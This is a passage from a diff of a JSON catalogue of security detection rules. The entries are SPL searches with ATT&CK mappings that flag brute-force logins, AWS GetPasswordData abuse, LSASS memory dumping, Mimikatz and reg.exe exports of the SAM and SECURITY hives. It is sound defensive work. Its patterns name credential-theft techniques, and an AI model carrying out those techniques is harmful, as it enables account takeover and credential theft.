environment.", - "search": "| tstats count earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Authentication where Authentication.action = failure Authentication.app=AwsConsoleSignIn Authentication.signature=ConsoleLogin BY Authentication.app Authentication.signature Authentication.dest Authentication.user Authentication.action Authentication.user_id Authentication.src | `drop_dm_object_name(Authentication)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_failed_login_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has a login failure from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access GetPasswordData", - "description": "The following analytic identifies more than 10 GetPasswordData API calls within a 5-minute window in your AWS account. It leverages AWS CloudTrail logs to detect this activity by counting the distinct instance IDs accessed. This behavior is significant as it may indicate an attempt to retrieve encrypted administrator passwords for running Windows instances, which is a critical security concern. If confirmed malicious, attackers could gain unauthorized access to administrative credentials, potentially leading to full control over the affected instances and further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=GetPasswordData eventSource = ec2.amazonaws.com | bin _time span=5m | stats count values(errorCode) as errorCode dc(requestParameters.instanceId) as distinct_instance_ids values(requestParameters.instanceId) as instance_ids by aws_account_id src_ip user_arn userAgent eventName _time | where distinct_instance_ids > 10 | `aws_credential_access_getpassworddata_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ is seen to make mulitple `GetPasswordData` API calls to instance ids $instance_ids$ from IP $src_ip$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD High Number Of Failed Authentications For User", - "description": "The following analytic identifies an Azure AD account experiencing more than 20 failed authentication attempts within a 10-minute window. This detection leverages Azure SignInLogs data, specifically monitoring for error code 50126 and unsuccessful authentication attempts. This behavior is significant as it may indicate a brute force attack targeting the account. If confirmed malicious, an attacker could potentially gain unauthorized access, leading to data breaches or further exploitation within the environment. Security teams should adjust the threshold based on their specific environment to reduce false positives.", - "search": " `azure_monitor_aad` category= SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime values(src_ip) as src_ip by user | where count > 20 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_high_number_of_failed_authentications_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to authenticate more than 20 times in the span of 5 minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD High Number Of Failed Authentications From Ip", - "description": "The following analytic detects an IP address with 20 or more failed authentication attempts to an Azure AD tenant within 10 minutes. It leverages Azure AD SignInLogs to identify repeated failed logins from the same IP. This behavior is significant as it may indicate a brute force attack aimed at gaining unauthorized access or escalating privileges. If confirmed malicious, the attacker could potentially compromise user accounts, leading to unauthorized access to sensitive information and resources within the Azure environment.", - "search": " `azure_monitor_aad` category= SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip | where count > 20 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_high_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$src_ip$ failed to authenticate more than 20 times in the span of 10 minutes minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Authentication From Different Ips", - "description": "The following analytic detects an Azure AD account successfully authenticating from multiple unique IP addresses within a 30-minute window. It leverages Azure AD SignInLogs to identify instances where the same user logs in from different IPs in a short time frame. This behavior is significant as it may indicate compromised credentials being used by an adversary, potentially following a phishing attack. If confirmed malicious, this activity could allow unauthorized access to corporate resources, leading to data breaches or further exploitation within the network.", - "search": " `azure_monitor_aad` properties.authenticationDetails{}.succeeded=true category=SignInLogs | rename properties.* as * | bucket span=30m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(src_ip) AS unique_ips values(src_ip) as src_ip values(appDisplayName) as appDisplayName by user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_ips > 1 | `azure_ad_successful_authentication_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ has had successful authentication events from more than one unique IP address in the span of 30 minutes.", - "risk_score": 56, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "High Number of Login Failures from a single source", - "description": "The following analytic detects multiple failed login attempts in Office365 Azure Active Directory from a single source IP address. It leverages Office365 management activity logs, specifically AzureActiveDirectoryStsLogon records, aggregating these logs in 5-minute intervals to count failed login attempts. This activity is significant as it may indicate brute-force attacks or password spraying, which are critical to monitor. If confirmed malicious, an attacker could gain unauthorized access to Office365 accounts, leading to potential data breaches, lateral movement within the organization, or further malicious activities using the compromised account.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed record_type=AzureActiveDirectoryStsLogon | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where failed_attempts > 10 | `high_number_of_login_failures_from_a_single_source_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Ip address $src_ip$ failed to authenticate more than 10 times in a 5 minute", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "O365 High Number Of Failed Authentications for User", - "description": "The following analytic identifies an O365 account experiencing more than 20 failed authentication attempts within 5 minutes. It uses O365 Unified Audit Logs, specifically \"UserLoginFailed\" events, to monitor and flag accounts exceeding this threshold. This activity is significant as it may indicate a brute force attack or password guessing attempt. If confirmed malicious, an attacker could gain unauthorized access to the O365 environment, potentially compromising sensitive emails, documents, and other data. Prompt investigation and action are crucial to prevent unauthorized access and data breaches.", - "search": " `o365_management_activity` Operation=UserLoginFailed record_type=AzureActiveDirectoryStsLogon Workload=AzureActiveDirectory | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(src_ip) as src_ip by user, _time | where failed_attempts > 10 | `o365_high_number_of_failed_authentications_for_user_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to authenticate more than 10 times in the span of 5 minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } } ], "external_reference": [ @@ -119318,3471 +109716,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Detect Mimikatz Using Loaded Images", - "description": "This search looks for reading loaded Images unique to credential dumping with Mimikatz. Deprecated because mimikatz libraries changed and very noisy sysmon Event Code.", - "search": "`sysmon` EventCode=7 | stats values(ImageLoaded) as ImageLoaded values(ProcessId) as ProcessId by dest, Image | search ImageLoaded=*WinSCard.dll ImageLoaded=*cryptdll.dll ImageLoaded=*hid.dll ImageLoaded=*samlib.dll ImageLoaded=*vaultcli.dll | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_mimikatz_using_loaded_images_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-264A", - "CISA AA22-320A", - "Cloud Federated Credential Abuse", - "Credential Dumping", - "DarkSide Ransomware", - "Detect Zerologon Attack", - "Sandworm Tools" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process, $Image$, has loaded $ImageLoaded$ that are typically related to credential dumping on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Access LSASS Memory for Dump Creation", - "description": "The following analytic detects attempts to dump the LSASS process memory, a common technique in credential dumping attacks. It leverages Sysmon logs, specifically EventCode 10, to identify suspicious call traces to dbgcore.dll and dbghelp.dll associated with lsass.exe. This activity is significant as it often precedes the theft of sensitive login credentials, posing a high risk of unauthorized access to systems and data. If confirmed malicious, attackers could gain access to critical credentials, enabling further compromise and lateral movement within the network.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe CallTrace=*dbgcore.dll* OR CallTrace=*dbghelp.dll* | stats count min(_time) as firstTime max(_time) as lastTime by dest, TargetImage, TargetProcessId, SourceImage, SourceProcessId | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `access_lsass_memory_for_dump_creation_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "process $SourceImage$ injected into $TargetImage$ and was attempted dump LSASS on $dest$. Adversaries tend to do this when trying to accesss credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Attacker Tools On Endpoint", - "description": "The following analytic detects the execution of tools commonly exploited by cybercriminals, such as those used for unauthorized access, network scanning, or data exfiltration. It leverages process activity data from Endpoint Detection and Response (EDR) agents, focusing on known attacker tool names. This activity is significant because it serves as an early warning system for potential security incidents, enabling prompt response. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further network compromise, posing a severe threat to the organization's security infrastructure.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where Processes.dest!=unknown Processes.user!=unknown by Processes.dest Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup attacker_tools attacker_tool_names AS process_name OUTPUT description | search description !=false| `attacker_tools_on_endpoint_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Monitor for Unauthorized Software", - "SamSam Ransomware", - "Unusual Processes", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An attacker tool $process_name$,listed in attacker_tools.csv is executed on host $dest$ by User $user$. This process $process_name$ is known to do- $description$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036.005", - "mitre_attack_technique": "Match Legitimate Name or Location", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT32", - "APT39", - "APT41", - "APT5", - "Aoqin Dragon", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Blue Mockingbird", - "Carbanak", - "Chimera", - "Darkhotel", - "Earth Lusca", - "FIN13", - "FIN7", - "Ferocious Kitten", - "Fox Kitten", - "Gamaredon Group", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Naikon", - "PROMETHIUM", - "Patchwork", - "Poseidon Group", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "Sowbug", - "TA2541", - "TeamTNT", - "ToddyCat", - "Transparent Tribe", - "Tropic Trooper", - "Volt Typhoon", - "WIRTE", - "Whitefly", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1595", - "mitre_attack_technique": "Active Scanning", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Attempted Credential Dump From Registry via Reg exe", - "description": "The following analytic detects the execution of reg.exe with parameters that export registry keys containing hashed credentials. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving reg.exe or cmd.exe with specific registry paths. This activity is significant because exporting these keys can allow attackers to obtain hashed credentials, which they may attempt to crack offline. If confirmed malicious, this could lead to unauthorized access to sensitive accounts, enabling further compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=reg* OR Processes.process_name=cmd* Processes.process=*save* (Processes.process=*HKEY_LOCAL_MACHINE\\\\Security* OR Processes.process=*HKEY_LOCAL_MACHINE\\\\SAM* OR Processes.process=*HKEY_LOCAL_MACHINE\\\\System* OR Processes.process=*HKLM\\\\Security* OR Processes.process=*HKLM\\\\System* OR Processes.process=*HKLM\\\\SAM*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `attempted_credential_dump_from_registry_via_reg_exe_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping", - "DarkSide Ransomware", - "Data Destruction", - "Industroyer2", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to export the registry keys.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Create Remote Thread into LSASS", - "description": "The following analytic detects the creation of a remote thread in the Local Security Authority Subsystem Service (LSASS). This behavior is identified using Sysmon Event ID 8 logs, focusing on processes that create remote threads in lsass.exe. This activity is significant because it is commonly associated with credential dumping, a tactic used by adversaries to steal user authentication credentials. If confirmed malicious, this could allow attackers to gain unauthorized access to sensitive information, leading to potential compromise of the entire network. Analysts should investigate to differentiate between legitimate tools and potential threats.", - "search": "`sysmon` EventID=8 TargetImage=*lsass.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, EventCode, TargetImage, TargetProcessId | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `create_remote_thread_into_lsass_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "TargetImage", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A process has created a remote thread into $TargetImage$ on $dest$. This behavior is indicative of credential dumping and should be investigated.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Creation of lsass Dump with Taskmgr", - "description": "The following analytic detects the creation of an lsass.exe process dump using Windows Task Manager. It leverages Sysmon EventID 11 to identify file creation events where the target filename matches *lsass*.dmp. This activity is significant because creating an lsass dump can be a precursor to credential theft, as the dump file contains sensitive information such as user passwords. If confirmed malicious, an attacker could use the lsass dump to extract credentials and escalate privileges, potentially compromising the entire network.", - "search": "`sysmon` EventID=11 process_name=taskmgr.exe TargetFilename=*lsass*.dmp | stats count min(_time) as firstTime max(_time) as lastTime by dest, object_category, process_name, TargetFilename | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `creation_of_lsass_dump_with_taskmgr_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "Credential Dumping" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "$process_name$ was identified on endpoint $dest$ writing $TargetFilename$ to disk. This behavior is related to dumping credentials via Task Manager.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - 